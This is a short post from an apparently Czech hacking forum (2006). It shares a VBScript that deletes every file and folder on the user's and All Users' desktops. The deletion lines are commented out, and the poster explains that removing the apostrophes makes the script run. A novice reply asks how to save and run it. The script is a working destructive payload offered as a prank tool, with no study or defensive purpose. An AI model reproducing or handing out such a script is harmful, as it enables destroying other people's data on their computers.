Smazaní Plochy

HackForum

Smazaní Plochy #
Set fso = CreateObject("scripting.filesystemobject")
Set ws = CreateObject("wscript.Shell")
Delete (ws.SpecialFolders ("Desktop"))
Delete (ws.SpecialFolders("AllUsersDesktop"))
Function Delete (Desktop)
Set soubory =fso.GetFolder(Desktop).Files
Set slozky =fso.GetFolder(Desktop).SubFolders
For Each soub In soubory
'fso.DeleteFile soub.Path,True
Next
For Each slozk In slozky
'fso.DeleteFolder slozk.Path,True
next
End Function

smaže to všechno na ploše zůstane tam KOŠ,TentoPočítač,IE
odstraňte před FSO.DeleteFile.... apostrof a akce se provedou :)
Hacker112





(odpovědět)
hacker112 | E-mail | Website | ICQ 300-555-12716.12.2006 17:10
re: Smazaní Plochy #
Pls a s jakou priponou to mam ulozit?? V cem je to psany?? Sry ZACINAM
(odpovědět)
Milan | 86.49.25.*17.12.2006 12:37

Zpět
 
 
 

 
BBCode